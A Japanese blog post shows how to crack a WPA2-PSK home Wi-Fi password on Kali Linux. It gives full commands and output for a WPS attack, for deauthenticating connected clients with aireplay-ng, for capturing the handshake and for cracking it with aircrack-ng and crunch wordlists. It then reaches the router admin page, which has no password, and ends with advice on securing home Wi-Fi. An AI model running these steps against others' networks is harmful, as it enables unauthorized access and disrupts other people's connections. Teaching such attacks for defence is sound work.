🐈‍⬛

Wi-Fiに不正アクセスする手口

2024/05/19に公開

主旨

今回は、広く知られている手法である、WPA2-HOMEのWi-Fiパスワードを不正に入手する方法を学びます。

検証環境

今回攻撃に使用するのはベアメタルのKali Linuxです。
PC本体のNICをLinuxに認識させる必要があったので、Windows PCにクリーンインストールしました。
1万6千円で買った古いTOSHIBAのノートPCですが、無線NICをモニターモードに移行できるので重宝しています。

モニターモードに移行可能なNICのチップセット

有線のパケットキャプチャの場合、プロミスキャスモードにすることで他の端末の通信をキャプチャすることができますが、無線の場合はモニターモードにしないとキャプチャできません。

NICをモニターモードにできるかどうかは、ドライバとチップセットの相性が複雑に絡む運ゲーとなっており、Wi-Fiクラッキングを実践する上で地味に一番の障壁となります。
これまでKaliで動作実績が報告されているものは下記のチップセットです。
このような情報はWebや書籍で知ることができますが、動作が保証されているものは一つもありません。

  • Prism
  • Atheros Ath5xxx
  • Atheros AR9271
  • Intel PRO/Wireless 4965ABGN
  • Intel PRO/Wireless 3945ABGN
  • Broadcom BCM4306
  • Ralink RT2570
  • Ralink RT2860
  • Ralink RT2870
  • Ralink RT3070
  • Ralink RT3572
  • Ralink RT5572
  • Ralink RT5370N
  • Ralink RT73
  • Realtek RTL8192CU
  • Realtek RTL88xxx
  • Realtek RT8812AU
  • Realtek 8187L
  • Intel AX200/AX201/AX210/AX211

https://www.cellstream.com/2024/03/25/a-list-of-usb-wi-fi-adapters-that-support-monitor-mode/
https://kennyvn.com/best-wireless-adapters-kali-linux/

準備

モニターモードへの切り替え

iwconfigwlan0が表示されていれば、無線NICが認識されています。

┌──(kalina㉿kalina)-[~]
└─$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

ifconfigwlan0が表示されていれば、NICが利用可能になっています。

┌──(kalina㉿kalina)-[~]
└─$ ifconfig wlan0
wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether e2:b3:16:f4:46:74  txqueuelen 1000  (Ethernet)
        RX packets 7832  bytes 7212308 (6.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3994  bytes 1136283 (1.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

以降ほとんどsuper user権限が必要なので昇格しておきます。

┌──(kalina㉿kalina)-[~]
└─$ sudo su -

周囲をスキャンすると、たくさんの電波をキャッチできます。
以降、固有の識別子は伏せ字にしています。

┌──(root㉿kalina)-[~]
└─# iwlist wlan0 scan | grep ESSID
                    ESSID:"eoRT-00000xx-g"
                    ESSID:"aterm-0000xx-g"
                    ESSID:"elecom2g-X00000"
~snip~

今回のターゲットはeoRT-00000xxです。この時点で、eo光多機能ルータであることがわかります。
このように初期設定のままで使っている人はかなり多いはずです。

┌──(root㉿kalina)-[~]
└─# iwlist wlan0 scan | grep eoRT-00000xx
                    ESSID:"eoRT-00000xx-g"
                    ESSID:"eoRT-00000xx-a"

下記の通りこのPCのNICのチップセットは、Intelの8260というものらしいです。
動作実績のあるチップセットとして報告されていないものですが、運が良かったみたいでモニターモードにすることができます。

┌──(root㉿kalina)-[~]
└─# airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless 8260 (rev 3a)

まずはNIC動作モード切り替えに影響するプロセスを停止させます。
ifconfigでNICをdownさせる方法もあります。

┌──(root㉿kalina)-[~]
└─# airmon-ng check kill

Killing these processes:

    PID Name
 112088 wpa_supplicant

NICをモニターモードに切り替えます。
iwconfigでmode monitorにする方法もあります。

┌──(root㉿kalina)-[~]
└─# airmon-ng start wlan0

PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless 8260 (rev 3a)
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

”monitor mode enabled for wlan0 on wlan0mon”となっています。

Mode:でモニターモードで動作していることを確認します。
先述の通り、NIC名称にmonが付与されています。

┌──(root㉿kalina)-[~]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

ターゲットのAPをスキャンします。
どこでも良いからとにかく接続したいという愉快犯の場合は、これを眺めながら最も脆弱な(WEPなどの)APを見つけて狙いを定めることになると思いますが、今回は--essidオプションで表示をフィルタしています。
ここでは下記のように、APの詳細情報や接続中のクライアントのMACアドレスなどを確認できます。

┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon --essid eoRT-00000xx-g

 CH 14 ][ Elapsed: 12 s ][ 2024-05-04 15:00

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 98:F1:99:0C:57:06  -46       17        0    0   1  195   WPA2 CCMP   PSK  eoRT-00000xx-g

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 (not associated)   18:48:BE:73:87:77  -79    0 - 1      0        7

ターゲットの暗号化方式がWPA2で、認証方式がPSKであることがわかりました。
これが運良くWEP方式なんかであった場合は、たくさんパケットキャプチャするだけでパスワードを解析できますが、今どきWEPが残っている方が珍しいのであまり魅力的ではありません。

WPSの解析

WPA方式のクラッキングでは、まずWPS機能を突破する方法から試してみます。
WPSは多くのAPに搭載されている”かんたん接続”てきな機能で、ボタンを押すだけとか、PIN(数字を8桁とか)を入力するだけで接続できる仕組みなので、これを突破することはパスワードを特定するよりも簡単です。

WPSスキャンツールのwashでWPSのロック(Lck)が”No”と表示されていればWPSを利用できます。

┌──(root㉿kalina)-[~]
└─# wash -i wlan0mon
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
98:F1:99:0C:57:06    1  -49  1.0  No   AtherosC  eoRT-00000xx-g
C0:25:A2:55:AA:F6    1  -80  1.0  No   AtherosC  eoRT-0x0x0xx-g
C4:71:54:CE:82:1B    3  -90  2.0  No   RalinkTe  atsumi  2.4g
00:90:FE:C0:05:F9    6  -83  2.0  Yes  AtherosC  elecom2g-X00000
~snip~

wifiteを使うと簡単にWPSの解析ができるそうなのでそうします。
すぐにAPスキャンが実行されるので、ターゲットが表示されていればCtrl+cでスキャンを終了させます。
解析対象をどれにするか聞かれるので、今回はターゲットがリストされている”1”を入力します。

┌──(root㉿kalina)-[~]
└─# wifite
   .               .
 .´  ·  .     .  ·  `.  wifite2 2.7.0
 :  :  :  (¯)  :  :  :  a wireless auditor by derv82
 `.  ·  ` /¯\ ´  ·  .´  maintained by kimocoder
   `     /¯¯¯\     ´    https://github.com/kimocoder/wifite2

 [!] Warning: Recommended app hcxdumptool was not found. install @ apt install hcxdumptool

 [+] Using wlan0mon already in monitor mode

   NUM                      ESSID   CH  ENCR    PWR    WPS  CLIENT
   ---  -------------------------  ---  -----   ----   ---  ------
     1            eoRT-00000xx-g     1  WPA-P   54db   yes
     2           XXXXXXXXXXXX-2G    11  WPA-P   27db   yes
     3            eoRT-0000000-g     7  WPA-P   26db   yes
     4           XXXXXXXXXXXX-2G     6  WPA-P   22db   yes
     5              00XXXXXXXXXX    11  WPA-P   22db    no
     6            eoRT-xxxxxxx-g     1  WPA-P   21db   yes
~snip~
 [+] Select target(s) (1-32) separated by commas, dashes or all: 1

下記のように解析が開始されたものの、pinが見つからないと言われました。

 [+] (1/1) Starting attacks against 98:F1:99:0C:57:06 (eoRT-00000xx-g)
 [+] eoRT-00000xx-g (52db) WPS Pixie-Dust: [4m57s] Failed: Reaver says "WPS pin not found"
 [+] eoRT-00000xx-g (52db) WPS NULL PIN: [3m26s] Sending EAPOL (Timeouts:8)

この後も何度かアタックを実行してみたのですが、解析に失敗しました。
しかしまだ手段は残っています。

WPA2の解析

では次に、WPA2-HOMEの脆弱性を利用したクラッキングを試みます。

クライアントがWi-Fiに接続する際には4Wayハンドシェイクが行われます。
4Wayハンドシェイクで行われているやりとりは大体下記のようなものです。

4way handshake の動作

1.APが疑似乱数(aNonce)を作成して、暗号化や認証方式の情報とともにクライアントに送信
2.クライアントはそれを受けて、疑似乱数(sNonce)を作成し、MIC値とともにAPに送信
3.APはAPとクライアントのNonce値とMACアドレスで演算してPTK(ペア一時鍵)を作成し、MIC値が一致していればGTK(グループ一時鍵)とMIC値をクライアントに送信
4.クライアントはMIC値に誤りがないことを確認してACKを送信

省略しすぎて大事なところが抜けてるかんじなのですが、
ESSIDとパスフレーズがあればPMK(ペアマスター鍵)が生成できる。
PMKと4Wayハンドシェイク内のNonce値やMACアドレスを入手できれば、WPAを解読することができる。
ということだけ押さえておきます。

今回はパスフレーズが知りたいのですが、周辺情報からパスフレーズを逆算することはできないので、辞書や総当たりなどのワードリストを用意して、照合していく作業を行います。

ほとんどの場合でクライアント端末は、既知の利用可能なWi-Fiがあれば自動的に接続するようになっています。
そのため、接続済みのクライアントをわざと切断させれば、その場ですぐ再接続が行われることになります。

そこで、まずターゲットAPのチャンネル周波数においてパケットキャプチャを実行しておき、
その間に、接続済みクライアントを強制的に切断する攻撃を行います。
そうすることで、クライアントが再接続するときの4Wayハンドシェイクのパケットをキャプチャすることができます。

パケットキャプチャ

では、先ほどのスキャンで既にターゲットAPのBSSIDとチャンネルが判明しているので、下記のように指定してパケットキャプチャを開始します。

┌──(root㉿kalina)-[~]
└─# airodump-ng --bssid 98:F1:99:0C:57:06 --channel 1 --write handshake wlan0mon
15:29:20  Created capture file "handshake-01.cap".

 CH  1 ][ Elapsed: 6 mins ][ 2024-05-04 15:35

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 98:F1:99:0C:57:06  -42 100      443   243345  643   1  195   WPA2 CCMP   PSK  eoRT-00000xx-g

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 98:F1:99:0C:57:06  AE:7A:2D:21:BC:27  -41   24e-24      0     2055
 98:F1:99:0C:57:06  1C:91:80:D3:79:71  -36   24e-24e     0   247502

接続済みのクライアント端末が2台確認できているので、これらのクライアントに対して攻撃を行います。
下記のように新しいターミナルを起動して、今回は10発のDeAuthパケットを発信します。

┌──(root㉿kalina)-[~]
└─# aireplay-ng --deauth 10 -a 98:F1:99:0C:57:06 -c AE:7A:2D:21:BC:27 wlan0mon
15:34:27  Waiting for beacon frame (BSSID: 98:F1:99:0C:57:06) on channel 1
15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 2| 0 ACKs]
15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28  Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 ACKs]

~snip~

クライアント端末で切断から再接続までを観察するとかなり短時間で、Zoomミーティングでもしていない限りは案外気づかないのではないかなと思います。

4Wayハンドシェイクが1回行われただけ、という程度では解析するのに十分ではないので、複数回の切断攻撃を行う必要があります。
クライアントが多数いる状態であれば各端末を1回ずつで良いのですが、今回は2台だけなので各端末に複数回の攻撃を行いました。

十分にパケットが収集できたら、キャプチャを終了します。

~snip~
 CH  1 ][ Elapsed: 6 mins ][ 2024-05-04 16:39 ][ WPA handshake: 98:F1:99:0C:57:06

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 98:F1:99:0C:57:06  -45 100     3521    53015    0   1  195   WPA2 CCMP   PSK  eoRT-00000xx-g

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 98:F1:99:0C:57:06  AE:7A:2D:21:BC:27  -32   24e-24      0     9661  EAPOL
 98:F1:99:0C:57:06  1C:91:80:D3:79:71  -37    1e- 6      0    57385  EAPOL
Quitting...

このようなファイル群が生成されます。

┌──(root㉿kalina)-[~]
└─# ls
handshake-01.cap  handshake-01.kismet.csv     handshake-01.log.csv
handshake-01.csv  handshake-01.kismet.netxml

キーの解析

aircrack-ngを使って、4Wayハンドシェイクが含まれたキャプチャファイルとワードリストを指定してオフラインでキーを解析できます。

┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w wordLists

まず辞書を使用してみたいと思うので、界隈で有名らしい辞書ファイルを入手します。

┌──(root㉿kalina)-[~]
└─# git clone https://github.com/kennyn510/wpa2-wordlists.git
Cloning into 'wpa2-wordlists'...
remote: Enumerating objects: 432, done.
remote: Total 432 (delta 0), reused 0 (delta 0), pack-reused 432
Receiving objects: 100% (432/432), 1.45 GiB | 10.86 MiB/s, done.
Resolving deltas: 100% (77/77), done.
Updating files: 100% (249/249), done.

使いたいファイルを解凍する必要があります。

┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# gunzip *.gz

各ファイルの内容を結合します。cat(concatenate)コマンドの真価です。

┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# cat *.txt >> allWordLists

5,800万行に及ぶファイルです。ホームディレクトリに移動しておきます。

┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# wc -l allWordLists
58417390 allWordLists

┌──(root㉿kalina)-[~]
└─# mv wpa2-wordlists/Wordlists/Crackdown2016/allWordLists .

解析を実行します。Current passphraseの部分に、現在照合している文字列が変わるがわる表示されます。
人名や日付を含む推測可能な文字列が大量に収録されています。

┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w allWordLists
Read 111815 packets.

                               Aircrack-ng 1.7

      [00:00:06] 25611/26488157 keys tested (3933.29 k/s)

      Time left: 1 hour, 52 minutes, 7 seconds                   0.10%

                       Current passphrase: A2Z9583


      Master Key     : 78 3F 5B X0 EA EA 8C 8B 02 03 95 BE A0 4C 4E 22
                       DB ED 3D 3E 3B X0 89 0A X0 12 DA 5D 35 2A X0 46

      Transient Key  : 2B 44 8C X0 BB 36 CB 05 83 X0 X0 X0 1F 92 6C 4E
                       X0 5A 1F 7D X0 FD BE X0 FF BF 8F FA X0 09 89 X0
                       X0 59 X0 56 61 CB 08 85 X0 7E BE 40 CA X0 X0 63
                       X0 42 90 68 34 13 1E X0 13 43 EF 2C X0 X0 7E 80

      EAPOL HMAC     : 0D 71 79 CE CF 58 74 X0 EE 63 X0 27 94 FF DF X0

今回ターゲットにしているパスワードの正解は、実は14桁のランダムな英数字です。
人間が設定したフレーズではないので、このような辞書は役に立たないかもしれません。

そうなると総当たりするしかありません。
数字とアルファベットの14桁の組み合わせをすべて書き出すとほんとに大変なことになるので、今回はチートで若干正解に寄せて考えていきます。

まず正解のパスフレーズに使用されている数字とアルファベットに限定して、総当たりの文字列を生成することにします。

┌──(root㉿kalina)-[~]
└─# crunch 14 14 234589acd -d 1 -o cr.txt
Crunch will now generate the following amount of data: 74217034874880 bytes
70778880 MB
69120 GB
67 TB
0 PB
Crunch will now generate the following number of lines: 4947802324992

これでも67TBになるらしく、PCのストレージが全然足りません。もう少しチートします。

パスフレーズの前半7文字に登場する英数字に限定した7桁と、後半に限定した7桁を組み合わせてみます。

┌──(root㉿kalina)-[~]
└─# crunch 7 7 678bcd -d 1 -o left
Crunch will now generate the following amount of data: 750000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 93750

crunch: 100% completed generating output
┌──(root㉿kalina)-[~]
└─# crunch 7 7 1234ac -d 1 -o right
Crunch will now generate the following amount of data: 750000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 93750

crunch: 100% completed generating output

ここまではすぐに処理が終わりました。

問題はこれらをすべて組み合わせる処理がどうなるかです。

┌──(root㉿kalina)-[~]
└─# while read -r LEFT; do while read -r RIGHT; do echo "${LEFT}${RIGHT}"; done < right; done < left > bruteForce

実行してから20時間ほど放置していたら、いつの間にか処理が終わっていて、プレーンテキストで27GBという恐るべきファイルができていました。

┌──(root㉿kalina)-[~]
└─# ls -lh ./bruteForce
-rw-r--r-- 1 root root 27G May  5 07:45 ./bruteForce

行数は驚愕の19億2千万行。

┌──(root㉿kalina)-[~]
└─# wc -l bruteForce
1920000000 bruteForce

解析を始めてみたのですが、5日間と半日かかる様子です。

┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w bruteForce
Read 111815 packets.

                               Aircrack-ng 1.7

      [00:14:33] 3273160/1920000000 keys tested (3810.97 k/s)

      Time left: 5 days, 19 hour, 42 minutes, 30 seconds                   0.17%
~snip~

しかもこの解析中はCPU使用率が100%に張り付いている状態で、発熱がすごいです。
十分に充電したうえで冷藏庫に入れておきます。

当初は野菜室に入れていましたが、発熱が強くのちに冷蔵庫に移しました。

が、さすがにゴールデンウィークが終わりそうなので、もう少しチートを使うことにしました。
正解のパスワードと前半7文字が一致している文字列のみのワードリストを使用することにします。

┌──(root㉿kalina)-[~]
└─# cat bruteForce | egrep "^8dxxxxx" > minbrute

行数はたったの9万行程度になりました。

┌──(root㉿kalina)-[~]
└─# wc -l minbrute
93750 minbrute

解析を実行すると、今度は10秒程度でキーが発見できました。

┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w minbrute

                               Aircrack-ng 1.7

      [00:00:22] 89830/93750 keys tested (4017.09 k/s)

      Time left: 0 seconds                                      95.82%

                        KEY FOUND! [ 8dxxxxxxxxxxxx ]


      Master Key     : 15 X0 36 FF X0 X0 22 7E 5C DD 83 X0 6A BB 63 79
                       49 78 76 44 8C X0 AB 28 6C 28 47 FD 4A 43 X0 X0

      Transient Key  : DF AA X0 7F X0 AE C4 05 DC 72 12 5B 6E X0 X0 7A
                       21 59 3A 27 50 5C 8A 95 91 09 12 F5 AF EC 03 5D
                       79 35 DA 0D 1A E0 94 35 F1 DF 87 7A 0A 14 06 0A
                       1B 36 19 15 10 3A 1C X0 E9 BA X0 72 44 48 1F 96

      EAPOL HMAC     : X0 X0 X0 BB 2D FE 59 87 06 1C 04 49 8A 8E FE 58

NICをもとのモードに戻して、Wi-Fiに接続できるようにします。

┌──(root㉿kalina)-[~]
└─# ifconfig wlan0mon down

┌──(root㉿kalina)-[~]
└─# iwconfig wlan0mon mode managed

┌──(root㉿kalina)-[~]
└─# ifconfig wlan0mon up

┌──(root㉿kalina)-[~]
└─# systemctl restart NetworkManager

これで、特定したパスワードを使って、ターゲットのWi-Fiネットワークに接続することができます。
さて、めでたく繋がったとして、その後どうするのでしょうか。

悪いことをするためには、自分の居場所を隠す必要があります。
他人のネットワークを使って悪事を働けば、自分の身元が特定されにくくなります。
さらに、せっかくうまく侵入できたので、いつでもこの環境を不正利用できるようにもう少し工夫しておくこともあるでしょう。

今回の場合、初期状態のESSIDからeo光多機能ルータであることがわかっています。
eo光多機能ルータ 管理画面ログインで検索して、管理画面から設定を変更できるか試してみます。

管理画面へのアクセス

公式情報の通りhttp://192.168.0.1にアクセスしてみます。

なんと、導入してから今まで管理画面のパスワードが設定されていないようです。
これでは侵入者が自分でパスワードを設定できてしまいます。
管理画面に入れば、インターネットからVPNに接続できるようにするなど、好きな設定がやり放題になります。

驚くべきですが、案外初期状態のまま使い続けている家庭は珍しくないのではないでしょうか。。

最後に

ということで、キャプチャファイルさえあれば、
あとはストレージ容量、マシンパワー、電力と時間さえあれば、WPA2であってもクラッキング可能なことがわかりました。ただし、
・たくさんの文字数
・数字、大文字小文字、記号
・予測できないランダムな順番
という要素を満たすほど、解析に必要なリソースが天文学的に増加するので、現実的には不可能になるという感じですかね。

皆さんは、Wi-FiのSSID、パスワード、管理画面、各設定をきちんと見直して、セキュアなゴールデンウィークをお過ごしください。

今回の偉大なる参考書籍
https://www.shoeisha.co.jp/book/detail/9784798185996
https://www.ric.co.jp/book/network/detail/160

ありがとうございました。

Discussion